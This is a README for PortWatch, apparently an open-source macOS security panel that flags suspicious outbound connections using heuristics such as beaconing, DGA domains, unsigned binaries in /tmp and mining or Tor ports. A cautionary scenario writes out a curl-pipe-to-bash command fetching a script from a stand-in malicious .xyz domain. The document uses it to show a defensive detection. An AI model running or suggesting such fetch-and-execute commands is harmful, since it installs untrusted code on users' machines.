Question to solve: "Am I hacked?"
Security web panel to monitor outbound connections in real-time, analyze risks, and alert you about potential threats. PortWatch translates complex network activity into clear and actionable information.
- Real-Time Analysis: WebSockets for instant connection updates
- Scoring System: Risk rating 0-10 based on multiple heuristics
- Contextual Narratives: Clear language explanations about what is happening
- Advanced Detection:
- Malware Communications:
- Beaconing (malware "phoning home" at regular intervals)
- Command & Control (C2) detected via malicious DNS + beaconing
- Suspicious Spawns (bash/curl/sh executing scripts and connecting to the internet)
- Crypto/Privacy Threats:
- Cryptocurrency Mining (Stratum ports 3333/4444)
- Tor Traffic (ports 9001-9030)
- Hidden Mining via Tor (critical combination)
- Ransomware Detection:
- High Disk Write (>50 MB/s) + High CPU (>40%)
- Unsigned process with intensive encryption activity
- DNS Intelligence:
- Domain Generation Algorithm (DGA) detection via entropy analysis
- Malicious Keywords (rat, c2, payload, exploit, tracker, etc.)
- High-Risk TLDs (.xyz, .top, .ru, .cn, .tk, .ml, .ga, etc.)
- Excessive Domain Length (DNS tunneling)
- Domains vs IP addresses in connections
- Binary/Code Analysis:
- Digital Signature (Apple/Third Party/Unsigned)
- macOS Notarization (spctl)
- Quarantine Flag (files downloaded from the internet)
- Recent Binaries (<72h since modification)
- Execution from Temporary Paths (/tmp, /var/tmp)
- Dropper Behavior (unsigned + /tmp)
- Network Behavior:
- Sensitive Ports (SSH 22, Telnet 23, RDP 3389, SMB 445, VNC 5900)
- Multiple Unique Destinations (network scanning/spray)
- Public vs Private IPs
- Connections to High-Risk Countries
- Resource Monitoring:
- High CPU Consumption (>50%, >70% thresholds)
- High RAM Consumption (>500MB, >1GB thresholds)
- Disk Write Speed (MB/s)
- Process Context:
- Parent Process Analysis (who launched the process)
- Process Tree Relationships
- LaunchAgent/Daemon Detection (macOS)
- Process Group ID Tracking
- Malware Communications:
- Native Alerts: OS notifications for new threats
- Rule System: Automatically allow/block connections with persistence
- Paranoid Mode: Auto-kill suspicious processes based on resources and behavior
- Containment Actions:
- Kill Individual Process
- Kill Entire Tree (process + children)
- Kill Process Group (pgid)
- Bootout LaunchAgents/Daemons (macOS)
- DNS Analysis: Detection of suspicious domains (DGA, malicious keywords, risky TLDs)
- GeoIP: IP geolocation with high-risk country detection
- AbuseIPDB (Optional): Public IP reputation verification
- Signature Analysis: Integration with codesign/spctl to validate authenticity
- Visual Dashboard: Status and activity charts
- Interactive Chips: Evidence with detailed explanations on click
- Simple/Technical Mode: View for users and experts
- Local History: Connection tracking by app and destination
- Blocked Processes Management: Dedicated panel with full details
- Python: 3.11 or higher
- Node.js: 16 or higher
- macOS: 12 (Monterey) or higher
# Clone the repository
git clone https://github.com/serome111/PortWatch.git
cd PortWatch
# Install Python dependencies
pip install -r requirements.txt
# Install frontend dependencies
cd frontend && npm install && cd ..For development, you need to run 2 processes in separate terminals:
cd frontend
npm run devThe frontend will run at http://localhost:5173 (Vite dev server)
python run_dev.pyThe backend will run at http://localhost:8000
Open your browser at http://localhost:8000 - Vite will automatically proxy API requests to the backend.
PortWatch needs elevated permissions to monitor all system connections:
# Run with sudo for full functionality
sudo python run_dev.pyWithout sudo you will only see:
- Your own processes
- System processes
- Connections from other users
# Give permissions to the script
chmod +x build_app.sh
# Build (autodetects macOS/Linux)
./build_app.sh
# Or force specific platform
./build_app.sh mac # macOS
./build_app.sh linux # LinuxThis will generate:
dist/PortWatch.app- Standalone application ready for distribution
- Open
dist/PortWatch.app - The application will automatically request permissions if needed
- Enter your password when prompted
cp -R dist/PortWatch.app /Applications/
open /Applications/PortWatch.appsudo ./dist/PortWatch.app/Contents/MacOS/PortWatch- Build:
./build_app.sh - Share:
dist/PortWatch.app - Instructions:
- Copy
PortWatch.appto/Applications - Open normally
- Enter password if prompted
- Copy
PW_HOST=127.0.0.1 # Server host (default: 127.0.0.1)
PW_PORT=8000 # Server port (default: 8000)
PW_PROTECT_SELF=1 # Protect PortWatch process (default: 1)
ABUSEIPDB_KEY=<your-key> # API key for AbuseIPDB (optional)Use the Settings (⚙️) interface to configure:
- Alerts: Enable/disable, alert level (high/medium/all)
- API Keys: AbuseIPDB for threat intelligence
- DNS Lists: Whitelist/Blacklist of custom domains
- GeoIP: Download/update geolocation database
- Low: Apps signed by Apple, known destinations, normal behavior
- Medium: Third-party apps, multiple destinations, public IPs, repetitive patterns
- High: Unsigned, execution from /tmp, sensitive ports (SSH, RDP), beaconing, malicious domains
When a new suspicious connection appears:
- Review: Click "View Details" for full analysis
- Decide:
- Allow: Create rule to allow
- Block: Create rule to block
- Scope:
- Once: Only this time
- Temporary: 24 hours
- Always: Permanent
From the details modal you can:
- KILL: Terminate the process
- Kill Tree: Terminate process and all its children
- Kill PGID: Terminate the entire process group
- Bootout: Disable LaunchAgent/Daemon service (macOS)
# Functional tests
python tests/test_alert_mode.py
python tests/test_geoip.py
# System diagnosis
python tests/check_status.py
python tests/diagnose_alerts.py
# Threat simulation
python tests/simulate_ransomware.pySee tests/README.md for complete documentation.
PortWatch/
├── backend/ # Python Backend
│ ├── core/ # Core logic (server, alerts, rules)
│ ├── utils/ # Utilities (DNS, notifier, geo)
│ ├── ui/ # Tray application
│ └── scripts/ # Auxiliary scripts
├── frontend/ # React + Vite Frontend
│ └── src/
│ ├── components/ # React Components
│ └── locales/ # i18n (EN/ES)
├── tests/ # Tests and diagnosis
├── run_dev.py # Development script
├── build_app.sh # Build script
└── requirements.txt # Python dependencies
# If you see "readonly database" error
sudo chown $USER ~/.portwatch/rules.dbIf port 8000 is in use, PortWatch will automatically try 8001-8005.
- Hard reload:
Cmd+Shift+R(Mac) /Ctrl+Shift+R(Windows/Linux) - Clear browser cache
- Verify backend is running
For processes that relaunch automatically:
- Use Kill Tree to terminate process + children
- Use Kill PGID to terminate the full group
- Use Bootout to disable the service (macOS)
Context: Alex is a developer working on his MacBook Pro. One day he finds an interesting tutorial on a blog about how to optimize his development workflow.
The Incident:
# The tutorial suggests running this "optimization script"
curl https://dev-tools-x.xyz/optimize.sh | bashAlex runs the command without thinking much. The script seems to install some tools, but something doesn't feel right...
What really happened?
The malicious script did the following in the background:
- Downloaded an unsigned binary to
/tmp/ - Executed it with full permissions
- Started connecting to a C2 (Command & Control) server in Russia every 30 seconds
- Installed a LaunchDaemon for persistence
Without PortWatch:
- Alex wouldn't see anything suspicious
- The malware would keep running in the background
- It could steal credentials, files, or install ransomware
- It could take weeks or months to be discovered
With PortWatch:
5 seconds after running the script, PortWatch shows:
SECURITY ALERT - Suspicious Connection Detected
Process: optimize_daemon
PID: 87234
Level: HIGH (Score: 9/10)
Evidence Detected:
- ↳ bash (Suspicious Spawn - executed by bash)
- Unsigned (Process not digitally signed)
- /tmp (Executing from temporary directory)
- Beacon (Repetitive connections every 30s)
- Russia (Destination: 45.153.xxx.xxx - High risk)
- DNS Risk (Domain: x3k-pool.ru - DGA detected)
Narrative:
"DROPPER BEHAVIOR + C2 COMMUNICATION: Unsigned process executing
from /tmp performing beaconing to malicious domain in Russia.
Characteristic pattern of malware with active Command & Control."
Destination: 45.153.xxx.xxx:443 (Russia)
Connections: 15 in last minute
Signature: Unsigned
Parent: bash → curl (Download from internet)
Alex's Actions:
- Review Details: Click "View Details" for full analysis
- Immediate Containment:
- Click "KILL" to terminate the process
- Click "Kill Tree" to terminate process + children
- Click "Bootout" to disable the LaunchDaemon
- Create Rule: "Block Always" to prevent reconnections
- Investigation:
- Review connection history
- Export evidence in JSON for forensic analysis
- Search for other suspicious processes from the same origin
Result:
- Malware detected in 5 seconds
- Complete containment in 30 seconds
- System clean and secure
- Lesson learned: never again
curl | bash
Other Scenarios Where PortWatch Helps:
You download a "crack" for a game. PortWatch detects:
- Hidden Bitcoin miner consuming 100% CPU
- Connections to mining pool (port 3333)
- Unsigned process with high resource consumption
- Action: Immediate Kill before it heats up your Mac
You connect your corporate laptop to a public WiFi. PortWatch alerts:
- Unknown process trying to connect to port 445 (SMB)
- Local IP trying to scan the network
- Action: Block before they compromise your corporate VPN
You open a PDF "from your bank" that you downloaded. PortWatch detects:
- Adobe Reader process connecting to suspicious .xyz domain
- Beaconing every 10 seconds
- IP in high-risk country
- Action: Identify and block the malicious document
Your child downloads a "Minecraft mod". PortWatch reveals:
- Process using Tor (ports 9001-9030)
- Constant encrypted traffic
- High bandwidth consumption
- Action: Educational conversation about digital security
See LICENSE for details.
PortWatch is a security monitoring tool for personal and legitimate use. All information is stored locally on your machine. Use at your own risk.